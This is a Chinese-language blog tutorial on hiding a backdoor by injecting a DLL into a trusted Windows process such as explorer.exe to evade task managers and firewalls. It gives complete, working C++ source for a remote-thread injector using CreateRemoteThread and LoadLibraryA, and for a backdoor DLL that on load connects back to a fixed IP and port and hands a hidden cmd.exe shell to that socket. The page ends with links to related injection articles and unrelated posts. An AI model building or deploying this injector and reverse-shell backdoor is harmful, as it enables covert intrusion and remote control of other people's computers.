安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
简介
大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程,你会发现任务管理器以及找不到独立出现的恶意进程项了。反向连接型后门采用这种技术,注入防火墙认可的进程(例如大部分系统进程,像explorer.exe就很常见)还能够获得一定的穿墙效果。
进程注入虽然已经是将近10年前的技术了,但是今天出现的很多新型黑客技术大多数还是基于这类老技术演变而来的。
C++代码样例
1.进程注入工具源码:
//////////////////////////////////////
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//////////////////////////////////////
#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
#define MAX_COUNT 255
/**
* @brief 提高进程权限
* @param name 权限名
*/
BOOL EnableDebugPriv(LPCSTR name)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
// 打开进程令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("[!]Get Process Token Error!\n");
return false;
}
// 获取权限Luid
if (!LookupPrivilegeValue(NULL, name, &luid))
{
printf("[!]Get Privilege Error!\n");
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 修改进程权限
if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("[!]Adjust Privilege Error!\n");
return false;
}
return true;
}
/**
* @brief 进程注入函数
* @param pid 进程id
* @param dllFileName DLL文件的完整路径
*/
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
HANDLE hRemoteProcess;
CHAR *pszDllSpace;
if (!EnableDebugPriv(SE_DEBUG_NAME))
{
return false;
}
if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
{
printf("[!]Open Target Process Error!\n");
return false;
}
if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
{
printf("[!]Alloc Space Error!\n");
return false;
}
if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
{
printf("[!]Write to the Memory Error!\n");
return false;
}
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
if (pfnStartAddr == NULL)
{
printf("[!]Get <LoadLibrary> Function Error!\n");
return false;
}
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!]Create Remote Thread Error!\n");
return false;
}
return true;
}
/**
* @brief 获取进程id
* @param procName 进程名
*/
DWORD GetProcPid(LPCSTR procName)
{
DWORD pid = 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcSnap == INVALID_HANDLE_VALUE)
{
printf("[!]Can not Create Process Snap !\n");
return -1;
}
BOOL bProc = Process32First(hProcSnap, &pe32);
while (bProc)
{
if (!stricmp(procName, pe32.szExeFile))
{
return pe32.th32ProcessID;
}
bProc = Process32Next(hProcSnap, &pe32);
}
CloseHandle(hProcSnap);
return pid;
}
/**
* @brief 主函数
*/
int main(int argc, char* argv[])
{
CHAR dllPath[MAX_COUNT] = "\0";
WIN32_FIND_DATA wfd;
if (argc != 3)
{
printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n");
return 0;
}
GetCurrentDirectory(sizeof(dllPath), dllPath);
StringCchCat(dllPath, sizeof(dllPath), "\\");
StringCchCat(dllPath, sizeof(dllPath), argv[2]);
if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
{
printf("[!] Can not Find Dll File !\n");
return 0;
}
DWORD pid = GetProcPid(argv[1]);
if (pid != -1)
{
if (!InjectDllProc(pid, dllPath))
{
printf("[!]Inject Dll Error!\n");
return 0;
}
printf("[*]Inject Dll Success!\n");
}
else
{
printf("[*]Inject Dll Error!\n");
return 0;
}
return 0;
}
**2.Dll文件样例源码:**
/////////////////////////////////////////////
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道后门DLL
//
////////////////////////////////////////////
#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
using namespace std;
#define MAX_COUNT 255
/**
* @brief 启动Cmd进程,与socket实例通信
* @param lpParameter 多线程函数参数,此为传入socket实例
*/
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
CHAR cmdLine[MAX_COUNT] = "\0";
SOCKET sServer = (SOCKET)lpParameter;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
GetSystemDirectory(cmdLine, sizeof(cmdLine));
StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe");
PROCESS_INFORMATION pi;
CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
return 0;
}
/**
* @brief socket建立函数
* @param lpParameter 多线程函数参数,这里传入NULL
*/
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n";
WSADATA wsd;
SOCKET sServer;
sockaddr_in sin;
if (WSAStartup(0x0202, &wsd)) return 0;
if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
{
return 0;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(45000);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
return 0;
}
if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
{
return 0;
}
HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
/**
* @brief DLL文件主函数
*/
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return true;
}
安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程的更多相关文章
- 安全之路 —— 无DLL文件实现远程线程注入
简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着 ...
- 详细解读:远程线程注入DLL到PC版微信
一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- 远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 远程线程注入方法CreateRemoteThread
最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是 https://github.com/Ars ...
- windows-CODE注入(远程线程注入)
远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...
- mfc HackerTools远程线程注入
在一个进程中,调用CreateThread或CreateRemoteThreadEx函数,在另一个进程内创建一个线程(因为不在同一个进程中,所以叫做远程线程).创建的线程一般为Windows API函 ...
- 远程线程注入突破SESSION 0
远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...
随机推荐
- mysql的binlog进行数据恢复
什么是binlog? binlog,也称为二进制日志,记录对数据发生或潜在发生更改的SQL语句,并以二进制的形式保存在磁盘中,可以用来查看数据库的变更历史(具体的时间点所有的SQL操作).数据库增量备 ...
- 005. Asp.Net Routing与MVC 之三: 路由在MVC的使用
上次讲到请求如何激活Controller和Action,这次讲下MVC中路由的使用.本次两个关注点: 遗留:ModelBinder.BindModel的过程 MVC中路由的使用 MVC 5中的Acti ...
- ACM学习<3>
排序算法: 基本:冒泡,快速,选择,堆,插入,shell 多路并归: 1.冒泡排序: 思想:交换排序,通过相邻的交换来达到排序的目的. 流程: ...
- 一个电脑的重装到java开发环境安装配置的全过程
刚拿到一台别人用过的电脑.看着c盘爆满,而且用了还是windows7操作系统,强迫症发作马上就准备重装系统. 之前换固态使用wepe制作U盘启动盘装系统的步骤和过程全部忘记的,贼尴尬. 同事都看不过眼 ...
- 光盘作为yum源
1.挂载光盘 mkdir /media/cdrom //在/media下建立cdrom目录,默认情况是没有的 mount /dev/cdrom /mnt/cdrom2.进入 /etc/y ...
- C#基础 阶段总结
第一部分 了解C# C#是微软公司在2000年7月发布的一种全新且简单.安全.面向对象的程序设计语言,是专门为.NET的应用而开发的.体现了当今最新的程序设计技术的功能和精华..NET框架为C#提供了 ...
- [PHP] 算法-数组重复数字统计的PHP实现
在一个长度为n的数组里的所有数字都在0到n-1的范围内. 数组中某些数字是重复的,但不知道有几个数字是重复的.也不知道每个数字重复几次.请找出数组中任意一个重复的数字. 例如,如果输入长度为7的数组{ ...
- java_二进制的前导的零
题目内容: 计算机内部用二进制来表达所有的值.一个十进制的数字,比如18,在一个32位的计算机内部被表达为00000000000000000000000000011000.可以看到,从左边数过来,在第 ...
- js .map方法
map这里的map不是“地图”的意思,而是指“映射”.[].map(); 基本用法跟forEach方法类似: array.map(callback,[ thisObject]); callback的参 ...
- jQuery点击页面其他部分隐藏下拉菜单
一.开发小要点 web页面中,我们一般不用select.option来实现下拉菜单效果,因为下拉框的样式丑且难以美化,所以我们选择控制ul显示隐藏来实现同样且高大上的效果,但是不能像下拉框那样点击页面 ...